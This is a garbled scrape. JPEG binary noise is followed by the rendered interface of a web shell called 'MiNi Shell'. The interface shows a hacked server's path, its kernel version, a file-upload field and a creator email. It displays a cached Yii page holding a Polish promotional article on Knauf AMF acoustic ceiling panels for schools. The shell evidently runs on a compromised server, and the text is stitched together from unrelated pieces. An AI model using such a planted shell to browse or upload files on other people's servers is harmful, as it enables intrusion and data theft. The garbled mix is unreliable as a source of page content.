JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/5d/

Linux 9dbcd5f6333d 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Upload File :
Current File : //home/vmanager/www/frontend/runtime/cache/5d/5d2a630f21a22ab7786dd0ea1e38312f.bin

a:2:{i:0;a:2:{i:0;s:12465:" 
                    
                    <h3 class="title" itemprop="headline">Akustyka w obiektach edukacyjnych? Kompleksowe rozwiązania Knauf AMF</h3>
                    <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong itemprop="datePublished"> 13-06-2013, 00:00</strong>
                        <meta itemprop="dateModified" content=" 13-06-2013, 00:00"/>
                        <div class="hide" itemprop="description">
	Trudno zrozumieć, dlaczego znane od dziesięcioleci zasady akustycznego kształtowania pomieszczeń nie są u nas stosowane w obiektach oświatowych.</div>
                        <div class="hide" itemprop="publisher" itemscope itemtype="https://schema.org/Organization">
                            <meta itemprop="name" content="styropian.biz">
                            <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject">
                                <meta itemprop="url" content="https://www.styropian.biz/images/loga/styropian.jpg">
                            </div>
                        </div>
                        <div class="hide" itemprop="image" itemscope itemtype="https://schema.org/ImageObject">
                            <meta itemprop="url" content="https://common.v-manager.pl/uploads/images/articles/17293/crop/800x600/41bda8e8d9-400211001571969749.webp">
                        </div>
                        <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://www.styropian.biz/artykuly/szczegoly/17293"/>
                        
                                        </p>

                    <div class="lorem">
                        <table align="right" border="0" cellpadding="1" cellspacing="1" style="width:0px;">
	<tbody>
		<tr>
			<td>
				<img alt="" src="https://common.v-manager.pl/uploads/source/articles/17293/0_upload_ba4c595e64.webp" style="width:200px;height:133px;" loading="lazy" /></td>
		</tr>
	</tbody>
</table><p>
	<strong>Trudno zrozumieć, dlaczego znane od dziesięcioleci zasady akustycznego kształtowania pomieszczeń nie są u nas stosowane w obiektach oświatowych. Znacznie utrudnia to pracę zarówno nauczycielom, jak i uczniom. Rozwiązania Knauf AMF radzą sobie z tym kompleksowo i przy zachowaniu jednolitego wyglądu powierzchni. </strong></p><p>
	Zdolność przyswajania wiedzy przez uczniów znacząco obniża się w pomieszczeniach, w których nie zadbano o odpowiednie rozwiązania akustyczne. W takich miejscach niezmiernie trudno jest wyróżnić głos nauczyciela z poziomu hałasu wytwarzanego przez grupę. Co więcej, według amerykańskich badań studyjnych, aż 11,3% uczniów ma dzisiaj problemy ze słuchem, a co za tym idzie dodatkowe kłopoty ze śledzeniem toku wykładu i zajęć.</p><p>
	Instytucje edukacyjne mają zapewniać swoim uczniom jak najlepsze warunki nauki. W jaki sposób można sprostać temu zadaniu ? Oczywiście przez zastosowanie odpowiednich rozwiązań akustycznych. Jakie czynniki decydują o walorach akustycznych wnętrz edukacyjnych i w jaki sposób je zmienić - radzą eksperci firmy Knauf AMF.</p><table align="left" border="0" cellpadding="1" cellspacing="1" style="width:0px;">
	<tbody>
		<tr>
			<td>
				<img alt="" src="https://common.v-manager.pl/uploads/source/articles/17293/0_upload_51fe99869f.webp" style="width:200px;height:133px;" loading="lazy" /></td>
		</tr>
	</tbody>
</table><p>
	<strong>Dźwięk i pogłos</strong></p><p>
	Każde źródło dźwięku wytwarza fale rozchodzące się podobnie, jak woda do której wpadł kamień. Właściwość akustyczna odbijania lub pochłaniania tych fal jest określana poprzez współczynnik pochłaniania dźwięku. Suma wszystkich absorpcji i odbić dźwięku poszczególnych przedmiotów w pomieszczeniu tworzy w naszym uchu akustyczny obraz pomieszczenia. Żeby zmierzyć zakres fal, w których mózg i ucho czują się najlepiej, zdefiniowano tzw. czas pogłosu. Mierzy on w sekundach czas, który mija od wygaśnięcia źródła dźwięku aż do znacznego obniżenia ciśnienia akustycznego w pomieszczeniu (60 dB wg EN ISO 3382).</p><p>
	Sale lekcyjne powinny być tak zaprojektowane, żeby wspierać głos prelegenta poprzez właściwe, wczesne odbicie dźwięku. Z drugiej strony powinny zostać stłumione odgłosy, które przeszkadzają w odbiorze. Zazwyczaj udaje się uzyskać ten efekt dzięki kombinacji odbijających i pochłaniających płyt sufitowych - mówi Krzysztof Szczepaniak, dyrektor przedstawicielstwa w Polsce Knauf AMF.</p><p>
	Żeby jednak nie zepsuć przez ten „akustyczny szpagat" jednolitego pod względem optycznym sufitu, zaleca się zastosowanie płyt sufitowych o zróżnicowanych parametrach akustycznych i takim samym wzorze powierzchni. Odpowiednie ich zestawienie umożliwi uzyskanie w pomieszczeniu poprawnych wartości zarówno parametru odbicia, jak i pochłaniania, przy jednoczesnym zachowaniu eleganckiego wyglądu.</p><table align="right" border="0" cellpadding="1" cellspacing="1" style="width:0px;">
	<tbody>
		<tr>
			<td>
				<img alt="" src="https://common.v-manager.pl/uploads/source/articles/17293/0_upload_de0fe9c09a.webp" style="width:200px;height:149px;" loading="lazy" /></td>
		</tr>
	</tbody>
</table><p>
	<strong>Izolacyjność akustyczna</strong></p><p>
	Izolacyjność akustyczna polega na odizolowaniu pomieszczenia od sąsiadujących wpływów akustycznych. Wartość izolacyjności uzależniona jest od sposobu użycia materiałów i systemów akustycznych.</p><p>
	Dźwięk zakłócający, przenikający pojedynczo, zazwyczaj dociera do pomieszczenia poprzez przejście przez strop lub ścianę. Zapobiega się temu poprzez zastosowanie sufitów podwieszanych lub okładzin ściennych, które współdziałają ze stropem i ścianą oraz stanowią dodatkową warstwę zamykającą. W przypadku podwójnego przenikania dźwięku, przy ściśle określonej pustce powietrznej (w przestrzeni międzysufitowej) w zakresie 650 - 760 mm i otwartym przejściu ponad ścianą działową między dwoma pomieszczeniami, dźwięk z zakłócającego źródła przechodzi przez sufit podwieszany pomieszczenia - nadajnika - i dostaje się do przestrzeni międzysufitowej. Następnie przenika do sufitu podwieszanego sąsiadującego pomieszczenia, gdzie staje się dźwiękiem zakłócającym. Dla ograniczenia podwójnego przenikania stosuje się izolatory akustyczne w sufitach i w ścianach.</p><p>
	W ostatnim czasie w badaniach akustycznych pomieszczeń zwraca się dużą uwagę również na wpływ źródeł dźwięku spoza budynku. Tzw. test deszczowy symuluje zakłócenia dźwiękowe pochodzące z opadów na blachę trapezową ze zdefiniowanym pochłanianiem i izolacyjnością dźwiękową. Cała powierzchnia sufitu musi wtedy być zaporą dla przenikania dźwięku. Przy dźwiękach przenoszonych bierze się z kolei pod uwagę przenoszenie dźwięku kroków przez strop i sufit podwieszony z kondygnacji leżącej powyżej.</p><p>
	<strong>Paleta rozwiązań z jednej ręki</strong></p><p>
	Adaptacja akustyczna jest problemem dużo bardziej złożonym niż zwykłe wyciszanie wnętrza. Szczególne znaczenie ma to w obiektach edukacyjnych, gdzie owszem, należy wyciszać pomieszczenia, nie należy jednak zapomnieć o utrzymaniu na odpowiednim poziomie również innych parametrów akustycznych, co w praktyce jest niemożliwe przy zastosowaniu płyt jednego rodzaju. Pojawia się wówczas problem ze znalezieniem płyt o różnych parametrach akustycznych, ale o tym samym wyglądzie. Mamy rozwiązanie tego problemu - mówi Krzysztof Szczepaniak</p><p>
	Linia AMF THERMATEX Acoustic Range - to produkty o różnych parametrach akustycznych dostępne w takich samych, białych wzorach powierzchni, nadających się szczególnie do wnętrz budynków szkolnych, audytoriów, aul itp.</p><p>
	Dzięki produktom AMF THERMATEX Acoustic Range, w zależności od wymagań akustycznych w poszczególnych pomieszczeniach (np. w zależności od wielkości sali czy jej przeznaczenia), możemy zastosować płyty o różnych właściwościach akustycznych w tym samym suficie, bez obaw o różnice optyczne. Firma AMF daje do wyboru kilkanaście rozwiązań szczególnie polecanych do zastosowania w budynkach edukacyjnych o różnorakich parametrach (izolacyjność dźwięku od 28 dB do 44 dB, wskaźnik pochłaniania dźwięku od 15 do 100%). Najwyższą klasą pochłaniania dźwięku odznaczają się płyty THERMATEX Alpha One, Alpha, Alpha HD, Silence i Thermofon (αw : 80% - 100%; NRC: 0,8 - 1,00), zaś płyty THERMATEX Acoustic RL są bardziej absorbujące (αw : 15%; NRC: 0,15). Wszystkie płyty spełniają wysokie wymagania w zakresie wzdłużnej izolacyjności dźwięku. W celu zachowania jak największej izolacyjności warto zastosować produkty THERMATEX Acoustic czy THERMATEX Acoustic dB, które mogą polepszyć ją nawet o 16 dB.</p><p>
	AMF posiada w swojej ofercie również produkty idealnie spełniające podwyższone wymagania higieniczne (stołówki), czy bezpieczeństwa pożarowego. Dopełnieniem tej kompleksowej oferty są propozycje z głośnikiem płaskim zabudowanym w postaci rastra sufitowego AMF Soundmosaic czy zintegrowane z systemem sufitowym projektory wideo lub rzutniki multimedialne.</p><p>
	Nie należy zapominać również o wizualnym charakterze rozwiązań marki AMF dedykowanych do obiektów edukacyjnych. Cztery systemy konstrukcji, różne formaty i typy krawędzi oraz rozmaite wzory płyt są gwarancją tego, że rozwiązania AMF spełnią nie tylko najwyższe wymagania techniczne, ale i wizualne.</p>
                        
                         


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            
                      
                        
                        
                    
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=izolacja+akustyczna" class="label label-default">izolacja akustyczna</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=akustyka" class="label label-default">akustyka</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=płyta+sufitowa" class="label label-default">płyta sufitowa</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Knauf+AMF" class="label label-default">Knauf AMF</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=AMF+THERMATEX" class="label label-default">AMF THERMATEX</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.styropian.biz/artykuly/szczegoly/17293_akustyka-w-obiektach-edukacyjnych-kompleksowe-rozwiazania-knauf-amf" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                    
                    <div id="articles">    
                        
                    
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:2:{i:0;s:13:"article_17293";i:1;s:8:"articles";}s:4:"data";a:2:{s:32:"678ee57d7f860d4e2bbf5c02d6ac053b";s:21:"0.37053900 1745945996";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com